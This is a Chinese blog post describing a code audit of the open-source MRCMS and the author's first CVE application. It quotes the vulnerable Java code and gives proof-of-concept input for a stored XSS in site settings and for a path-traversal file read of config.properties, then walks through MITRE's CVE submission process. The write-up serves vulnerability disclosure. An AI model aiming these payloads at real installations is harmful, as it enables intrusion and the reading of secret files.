记录第一次申请CVE编号过程

admin 2024年2月3日20:18:17评论22 views字数 2191阅读7分18秒阅读模式

记录第一次申请CVE编号过程

作为一个安服仔突发奇想去申请个CVE编号,大型的CMS代码太多了太复杂,我们就选一些小的CMS的来代码审计获取CVE编号。

漏洞很水,但是自己的首个CVE还是有纪念意义的。

MRCMS: https://gitee.com/marker/MRCMS

存储型xss

代码路径: 

MRCMSsrcmainjavaorgmarkermushroomcontrollerSystemController.java

记录第一次申请CVE编号过程

从代码中 syscfg.set 方法写入配置信息,跟进行看看set方法

 /**  * 设置配置key = val  * @param key 键  * @param val 值  */ @Override public void set(String key, String val) {  if(val == null){   val = "";  }  this.properties.put(key, val); }

set 方法是直接写入内容,没有任意过滤,所以导致xss漏洞产生

记录第一次申请CVE编号过程

在后台网站描述中添加xss代码

"><img src=1 onerror=alert(/xss/)>

记录第一次申请CVE编号过程

记录第一次申请CVE编号过程

记录第一次申请CVE编号过程

任意文件读取漏洞

存在漏洞代码路径 :

MRCMSsrcmainjavaorgmarkermushroomcontrollerFileController.java

 /**  * 编辑文本文件  * @param path  * @param name  * @return  */ @RequestMapping("/edit") public ModelAndView edit(@RequestParam("path") String path, @RequestParam("name") String name){  ModelAndView view = new ModelAndView(this.viewPath + "edit");  File file = new File(WebRealPathHolder.REAL_PATH + encoding(path + File.separator + name));  try {   view.addObject("data", FileTools.getFileContet(file, FileTools.FILE_CHARACTER_UTF8));  } catch (IOException e) {   e.printStackTrace();  }  view.addObject("path", encoding(path));  view.addObject("name", encoding(name));  return view; }

记录第一次申请CVE编号过程

跟进 FileTools.getFileContet 方法

 /**  * 获取文本文件内容  * @param filePath 文件路径  * @param character 字符编码  * @return String 文件文本内容  * @throws IOException   * */ public static final String getFileContet(File filePath,String character) throws IOException{  return FileTools.getContent(filePath, character); }

记录第一次申请CVE编号过程

方法中调用了getContent 方法,接着跟进

 //内部处理文件方法 private static String getContent(File filePath, String character) throws IOException{   FileInputStream __fis = new FileInputStream(filePath);//文件字节流   return getStreamContent(__fis, character);//返回文件内容 }

记录第一次申请CVE编号过程

从上面分析代码中是直接获取文件内容,并且没有对文件路径进行判断,导致可以跨目录读取文件

记录第一次申请CVE编号过程

请求包

GET /admin/file/edit.do?path=../resources/config.properties&name= HTTP/1.1Host: 127.0.0.1:8080Referer: http://127.0.0.1:8080/admin/index.doSec-Fetch-Dest: emptySec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Accept: text/html, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brSec-Fetch-Mode: corsX-Requested-With: XMLHttpRequest

提交CVE

提交CVE前,还得去查一下,挖掘的漏洞有没有被提交CVE https://cve.mitre.org/cve/search_cve_list.html

记录第一次申请CVE编号过程

接着就提交申请

https://cveform.mitre.org/

记录第一次申请CVE编号过程

记录第一次申请CVE编号过程

记录第一次申请CVE编号过程

记录第一次申请CVE编号过程

提交后就会收到一封邮件,然后就等待审核分配CVE编号

记录第一次申请CVE编号过程

差不多一个月就收到CVE编号了

记录第一次申请CVE编号过程

记录第一次申请CVE编号过程

原文始发于微信公众号(安全逐梦人):记录第一次申请CVE编号过程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月3日20:18:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记录第一次申请CVE编号过程http://cn-sec.com/archives/2465751.html

发表评论

匿名网友 填写信息